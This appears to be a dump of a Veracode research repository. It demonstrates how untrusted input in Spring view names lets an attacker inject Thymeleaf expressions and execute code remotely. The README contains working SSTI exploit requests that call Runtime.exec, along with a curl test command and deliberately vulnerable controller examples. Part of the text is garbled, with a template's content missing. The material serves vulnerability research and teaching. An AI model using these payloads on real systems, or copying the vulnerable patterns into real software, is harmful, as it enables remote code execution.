├── src
└── main
│ ├── resources
│ ├── application.properties
│ └── templates
│ │ ├── welcome.html
│ │ └── user
│ │ └── en
│ │ └── welcome.html
│ └── java
│ └── com
│ └── veracode
│ └── research
│ ├── Application.java
│ └── HelloController.java
├── .gitignore
├── exploit.png
├── structure.png
├── pom.xml
└── README.md
/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=8090
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 | ./target/
3 | ./java-spring-thymeleaf.iml
--------------------------------------------------------------------------------
/exploit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/veracode-research/spring-view-manipulation/HEAD/exploit.png
--------------------------------------------------------------------------------
/structure.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/veracode-research/spring-view-manipulation/HEAD/structure.png
--------------------------------------------------------------------------------
/src/main/resources/templates/welcome.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
` and then request only this fragment from the view:
39 | ```java
40 | @GetMapping("/main")
41 | public String fragment() {
42 | return "welcome :: main";
43 | }
44 | ```
45 | Thymeleaf is intelligent enough to return only the 'main' div from the welcome view, not the whole document.
46 |
47 | From a security perspective, there may be a situation when a template name or a fragment are concatenated with untrusted data. For example, with a request parameter:
48 | ```java
49 | @GetMapping("/path")
50 | public String path(@RequestParam String lang) {
51 | return "user/" + lang + "/welcome"; //template path is tainted
52 | }
53 |
54 | @GetMapping("/fragment")
55 | public String fragment(@RequestParam String section) {
56 | return "welcome :: " + section; //fragment is tainted
57 | }
58 | ```
59 |
60 | The first case may contain a potential path traversal vulnerability, but a user is limited to the 'templates' folder on the server and cannot view any files outside it. The obvious exploitation approach would be to try to find a separate file upload and create a new template, but that's a different issue.
61 |
62 | **Luckily for bad guys**, before loading the template from the filesystem, [Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java) class parses the template name as an expression:
63 | ```java
64 | try {
65 | // By parsing it as a standard expression, we might profit from the expression cache
66 | fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
67 | }
68 | ```
69 | So, the aforementioned controllers may be exploited not by path traversal, but by expression language injection:
70 | #### Exploit for /path (should be url-encoded)
71 | ```http
72 | GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1
73 | ```
74 |

75 |
76 | In this exploit we use the power of [expression preprocessing](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/): by surrounding the expression with `__${` and `}__::.x` we can make sure it's executed by thymeleaf no matter what prefixes or suffixes are.
77 |
78 | **To summarize**, whenever untrusted data comes to a view name returned from the controller, it could lead to expression language injection and therefore to Remote Code Execution.
79 |
80 | #### Even more magic
81 | In the previous examples, controllers return strings, explicitly telling Spring what view name to use, but that's not always the case. As [described in the documentation](https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types), for some return types such as `void`, `java.util.Map` or `org.springframework.ui.Model`:
82 | > the view name implicitly determined through a RequestToViewNameTranslator
83 |
84 | It means that a controller like this:
85 | ```java
86 | @GetMapping("/doc/{document}")
87 | public void getDocument(@PathVariable String document) {
88 | log.info("Retrieving " + document);
89 | }
90 | ```
91 | may look absolutely innocent at first glance, it does almost nothing, but since Spring does not know what View name to use, **it takes it from the request URI**. Specifically, DefaultRequestToViewNameTranslator does the following:
92 |
93 | ```java
94 | /**
95 | * Translates the request URI of the incoming {@link HttpServletRequest}
96 | * into the view name based on the configured parameters.
97 | * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
98 | * @see #transformPath
99 | */
100 | @Override
101 | public String getViewName(HttpServletRequest request) {
102 | String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
103 | return (this.prefix + transformPath(lookupPath) + this.suffix);
104 | }
105 | ```
106 |
107 | So it also become vulnerable as the user controlled data (URI) comes directly to view name and resolved as expression.
108 |
109 | #### Exploit for /doc (should be url-encoded)
110 | ```http
111 | GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
112 | ```
113 |
114 | #### Safe case: ResponseBody
115 |
116 | There are also some cases when a controller returns a used-controlled value, but they are not vulnerable to view name manipulation. For example, when the controller is annotated with @ResponseBody:
117 |
118 | ```java
119 | @GetMapping("/safe/fragment")
120 | @ResponseBody
121 | public String safeFragment(@RequestParam String section) {
122 | return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
123 | }
124 | ```
125 |
126 | In this case, Spring Framework does not interpret it as a view name, but just returns this string in HTTP Response. The same applies to @RestController on a class, as internally it inherits @ResponseBody.
127 |
128 | #### Safe case: A redirect
129 |
130 | ```java
131 | @GetMapping("/safe/redirect")
132 | public String redirect(@RequestParam String url) {
133 | return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
134 | }
135 | ```
136 |
137 | When the view name is prepended by `"redirect:"` the logic is also different. In this case, Spring does not use [Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java) anymore but a [RedirectView](https://github.com/spring-projects/spring-framework/blob/master/spring-webmvc/src/main/java/org/springframework/web/servlet/view/RedirectView.java), which does not perform expression evaluation. This example still has an open redirect vulnerability, but it is certainly not as dangerous as RCE via expression evaluation.
138 |
139 | #### Safe case: Response is already processed
140 |
141 | ```java
142 | @GetMapping("/safe/doc/{document}")
143 | public void getDocument(@PathVariable String document, HttpServletResponse response) {
144 | log.info("Retrieving " + document); //FP
145 | }
146 | ```
147 |
148 | This case is very similar to one of the previous vulnerable examples, but since the controller has *HttpServletResponse* in parameters, Spring considers that it's already processed the HTTP Response, so the view name resolution just does not happen. This check exists in the *ServletResponseMethodArgumentResolver* class.
149 |
150 | #### Conclusion
151 | Spring is a framework with a bit of magic, it allows developers to write less code but sometimes this magic turns black. It's important to understand situations when user controlled data goes to sensitive variables (such as view names) and prevent them accordingly. Stay safe.
152 |
153 | #### Test locally
154 |
155 | Java 8+ and Maven required
156 |
157 | ```bash
158 | cd spring-view-manipulation
159 | mvn spring-boot:run
160 | curl 'localhost:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x'
161 | ```
162 |
163 | #### Credits
164 | This project was co-authored by [Michael Stepankin](https://twitter.com/artsploit) and [Giuseppe Trovato](https://twitter.com/otavorteppesuig) at Veracode
165 | Authors would like to thank [Aleksei Tiurin](https://www.acunetix.com/blog/author/alekseitiurin/) from Acunetix for the excellent research on [SSTI vulnerabilities in Thymeleaf](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
--------------------------------------------------------------------------------